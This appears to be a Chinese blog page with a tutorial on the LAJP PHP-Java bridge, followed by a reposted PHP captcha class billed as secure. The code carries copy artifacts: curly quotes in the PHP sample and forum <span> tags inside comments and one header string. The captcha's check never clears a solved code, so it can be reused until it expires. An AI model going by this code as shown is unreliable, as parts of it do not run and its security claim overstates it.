php和java是两种不同的语言,在LAJP架构中二者之间的互通有两种机制。

  • 一、消息队列

以操作系统的消息队列为沟通媒介,在通讯过程中php作为客户端调用java端服务。消息队列属于IPC技术(进程间通讯),php语言中内置了一组函数(msg_send、msg_receive等)可以和System V消息队列通讯,而java中没有相似的方法,因此通过调用底层JNI接口使用C函数来实现。 使用消息队列有以下好处:

1.   使php和java保持独立性

2.   有极高的传输速度,大于socket

3.   相对于socket方式,Java服务端只向本机提供服务(没有对外侦听端口),相对安全,易于管理。

  • 二、Socket

消息队列技术只能适用于Unix/Linux/BSD系统,因此LAJP提供基于TCP/IP的通讯机制,从而适应各种平台。

数据类型转换

PHP和Java各有其语言内部定义的数据类型,当PHP数据传送到Java,或Java数据传送到PHP时,LAJP在内部自动地、准确地对他们进行转换,程序员无需进行任何的解码工作。

具体实现过程

1.下载lajp的包,地址http://code.google.com/p/lajp/,解压缩,然后修改make.sh文件,把里面的java_home修改过后,make通过把里面的so文件copy到java的库文件目录下面。

2.然后到java的目录下启动run.sh,注意如果用到了第三方包的话一定要在此处的otherclasspath里面注明,要用绝对路径。用命令nohup ./run.sh &启动

3.在/var/www/html/health/下面新建一个testphpjava.php,内容如下:

<?php header(“Content-Type:text/html;charset=utf-8″); ?>

<?PHP

require_once(“php_java.php”);  //引用下载的php_java.php文件

$name = “Ali”;

try

{

//调用Java的hello.HelloClass类中的hello方法

$ret = lajp_call(“hello.HelloClass::hello”, $name);

echo “{$ret}<br>”;

}

catch (Exception $e)

{

echo “Err:{$ret}<br>”;

}

?>

4.在浏览器里输入http://localhost/health/testphpjava.php

你会看到HelloWorld,这是java返回的字符串。

5.自己可以写一个新的类进行测试,但是一定要放在lajp下的java目录下,调用方式用lajp_call();,如果用到非常复杂的类,那么在php和java中一定要有对应的类,具体请参考网站文档。

php安全且漂亮的验证码,代码及详细注释(转)

2010年05月6日,星期四
热度:

001 <?php
002 /**
003 * 安全验证码
004 *
005 * 安全的验证码要:验证码文字扭曲、旋转,使用不同字体,添加干扰码。
006 * 如果用中文做验证码(我这里不是哦,有兴趣你来改成用中文的),安全度会更好些,但验证码扭曲和旋转是王道,用了字体也算是已经给字体扭曲了,我就不再去 给他添一只扭曲的足了。
007 * 可配置的属性都是一些简单直观的变量,我就不用弄一堆的setter/getter了
008 *
009 * @author 流水孟春 <cmpan(at)qq.com>
010 * @copyright NEW BSD
011 * @link [url=http://labs.yulans.cn/YL_Security_Secoder]http://labs.yulans.cn/YL_Security_Secoder[/url]
012 * @link [url=http://wiki.yulans.cn/docs/yl/security/secoder]http://wiki.yulans.cn/docs/yl/security/secoder[/url]
013 */
014 class YL_Security_Secoder {
015 /**
016 * 验证码的<span href="tag.php?name=session" onclick="tagshow(event)" class="t_tag">session</span>的下标
017 *
018 * @var string
019 */
020 public static $seKey = 'sid.sekey.ylans.cn';
021 public static $expire = 3000; // 验证码过期<span href="tag.php?name=%CA%B1%BC%E4" onclick="tagshow(event)" class="t_tag">时间</span>(s)
022 /**
023 * 验证码中使用的<span href="tag.php?name=%D7%D6%B7%FB" onclick="tagshow(event)">字符</span>,01IO容易混淆,建议不用
024 *
025 * @var string
026 */
027 public static $codeSet = '346789ABCDEFGHJKLMNPQRTUVWXY';
028 public static $fontSize = 25; // 验证码字体大小(px)
029 public static $useCurve = true; // 是否画混淆曲线
030 public static $useNoise = true; // 是否添加杂点
031 public static $imageH = 0; // 验证码图片宽
032 public static $imageL = 0; // 验证码图片长
033 public static $length = 4; // 验证码位数
034 public static $bg = array(243, 251, 254); // 背景
035
036 protected static $_image = null; // 验证码图片<span href="tag.php?name=%CA%B5%C0%FD" onclick="tagshow(event)" class="t_tag">实例</span>
037 protected static $_color = null; // 验证码字体颜色
038
039 /**
040 * 输出验证码并把验证码的值保存的session中
041 * 验证码保存到session的格式为: $_SESSION[self::$seKey] = array('code' => '验证码值', 'time' => '验证码创建时间');
042 */
043 public static function entry() {
044 // 图片宽(px)
045 self::$imageL || self::$imageL = self::$length * self::$fontSize * 1.5 + self::$fontSize*1.5;
046 // 图片高(px)
047 self::$imageH || self::$imageH = self::$fontSize * 2;
048 // 建立一幅 self::$imageL x self::$imageH 的图像
049 self::$_image = imagecreate(self::$imageL, self::$imageH);
050 // 设置背景
051 imagecolorallocate(self::$_image, self::$bg[0], self::$bg[1], self::$bg[2]);
052 // 验证码字体随机颜色
053 self::$_color = imagecolorallocate(self::$_image, mt_rand(1,120), mt_rand(1,120), mt_rand(1,120));
054 // 验证码使用随机字体
055 $ttf = dirname(__FILE__) . '/ttfs/' . mt_rand(1, 20) . '.ttf';
056
057 if (self::$useNoise) {
058 // 绘杂点
059 self::_writeNoise();
060 }
061 if (self::$useCurve) {
062 // 绘干扰线
063 self::_writeCurve();
064 }
065
066 // 绘验证码
067 $code = array(); // 验证码
068 $codeNX = 0; // 验证码第N个字符的左边距
069 for ($i = 0; $i<self::$length; $i++) {
070 $code[$i] = self::$codeSet[mt_rand(0, 27)];
071 $codeNX += mt_rand(self::$fontSize*1.2, self::$fontSize*1.6);
072 // 写一个验证码字符
073 imagettftext(self::$_image, self::$fontSize, mt_rand(-40, 70), $codeNX, self::$fontSize*1.5, self::$_color, $ttf, $code[$i]);
074 }
075
076 // 保存验证码
077 isset($_SESSION) || session_start();
078 $_SESSION[self::$seKey]['code'] = join('', $code); // 把校验码保存到session
079 $_SESSION[self::$seKey]['time'] = time(); // 验证码创建时间
080
081 header('Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate');
082 header('Cache-Control: <span href="tag.php?name=post" onclick="tagshow(event)" class="t_tag">post</span>-check=0, pre-check=0', false);
083 header('Pragma: no-cache');
084 header("content-type: image/png");
085
086 // 输出图像
087 imagepng(self::$_image);
088 imagedestroy(self::$_image);
089 }
090
091 /**
092 * 画一条由两条连在一起构成的随机正弦<span href="tag.php?name=%BA%AF%CA%FD" onclick="tagshow(event)">函数</span>曲线作干扰线(你可以改成更帅的曲线函数)
093 *
094 *      高中的数学公式咋都忘了涅,写出来
095 *  正弦型函数<span href="tag.php?name=%BD%E2%CE%F6" onclick="tagshow(event)" class="t_tag">解析</span> 式:y=Asin(ωx+φ)+b
096 *      各常数值对函数图像的影响:
097 *        A:决定峰值(即纵向拉伸压缩的倍数)
098 *        b:表示波形在Y轴的位置关系或纵向移动距离(上加下减)
099 *        φ:决定波形与X轴位置关系或横向移动距离(左加右减)
100 *        ω:决定周期(最小正周期T=2π/∣ω∣)
101 *
102 */
103 protected static function _writeCurve() {
104 $A = mt_rand(1, self::$imageH/2); // 振幅
105 $b = mt_rand(-self::$imageH/4, self::$imageH/4); // Y轴方向偏移量
106 $f = mt_rand(-self::$imageH/4, self::$imageH/4); // X轴方向偏移量
107 $T = mt_rand(self::$imageH*1.5, self::$imageL*2); // 周期
108 $w = (2* M_PI)/$T;
109
110 $px1 = 0; // 曲线横坐标起始位置
111 $px2 = mt_rand(self::$imageL/2, self::$imageL * 0.667); // 曲线横坐标结束位置
112 for ($px=$px1; $px<=$px2; $px=$px+ 0.9) {
113 if ($w!=0) {
114 $py = $A * sin($w*$px + $f)+ $b + self::$imageH/2; // y = Asin(ωx+φ) + b
115 $i = (int) ((self::$fontSize - 6)/4);
116 while ($i > 0) {
117 imagesetpixel(self::$_image, $px + $i, $py + $i, self::$_color); // 这里画像素点比imagettftext和imagestring性能要好很多
118 $i--;
119 }
120 }
121 }
122
123 $A = mt_rand(1, self::$imageH/2); // 振幅
124 $f = mt_rand(-self::$imageH/4, self::$imageH/4); // X轴方向偏移量
125 $T = mt_rand(self::$imageH*1.5, self::$imageL*2); // 周期
126 $w = (2* M_PI)/$T;
127 $b = $py - $A * sin($w*$px + $f) - self::$imageH/2;
128 $px1 = $px2;
129 $px2 = self::$imageL;
130 for ($px=$px1; $px<=$px2; $px=$px+ 0.9) {
131 if ($w!=0) {
132 $py = $A * sin($w*$px + $f)+ $b + self::$imageH/2; // y = Asin(ωx+φ) + b
133 $i = (int) ((self::$fontSize - 8)/4);
134 while ($i > 0) {
135 imagesetpixel(self::$_image, $px + $i, $py + $i, self::$_color); // 这里(while)循环画像素点比imagettftext和imagestring用字体大小一次画出(不用这while循环)性能要好很多
136 $i--;
137 }
138 }
139 }
140 }
141
142 /**
143 * 画杂点
144 * 往图片上写不同颜色的字母或数字
145 */
146 protected static function _writeNoise() {
147 for($i = 0; $i < 10; $i++){
148 // 杂点颜色
149 $noiseColor = imagecolorallocate(
150 self::$_image,
151 mt_rand(150,225),
152 mt_rand(150,225),
153 mt_rand(150,225)
154 );
155 for($j = 0; $j < 5; $j++) {
156 // 绘杂点
157 imagestring(
158 self::$_image,
159 5,
160 mt_rand(-10, self::$imageL),
161 mt_rand(-10, self::$imageH),
162 self::$codeSet[mt_rand(0, 27)], // 杂点文本为随机的字母或数字
163 $noiseColor
164 );
165 }
166 }
167 }
168
169 /**
170 * 验证验证码是否正确
171 *
172 * @param string $code 用户验证码
173 * @return bool 用户验证码是否正确
174 */
175 public static function check($code) {
176 isset($_SESSION) || session_start();
177 // 验证码不能为空
178 if(empty($code) || empty($_SESSION[self::$seKey])) {
179 return false;
180 }
181 // session 过期
182 if(time() - $_SESSION[self::$seKey]['time'] > self::$expire) {
183 unset($_SESSION[self::$seKey]);
184 return false;
185 }
186 if($code == $_SESSION[self::$seKey]['code']) {
187 return true;
188 }
189 return false;
190 }
191 }
192
193 // useage
194 /*
195 YL_Security_Secoder::$useNoise = false;  // 要更安全的话改成true
196 YL_Security_Secoder::$useCurve = true;
197 YL_Security_Secoder::entry();
198 */
199 /*
200 // 验证验证码
201 if (!YL_Security_Secoder::check(@$_POST['secode'])) {
202 print 'error secode';
203 }
204 */

http://bbs.phpchina.com/viewthread.php?tid=180930&extra=&page=1

点击下载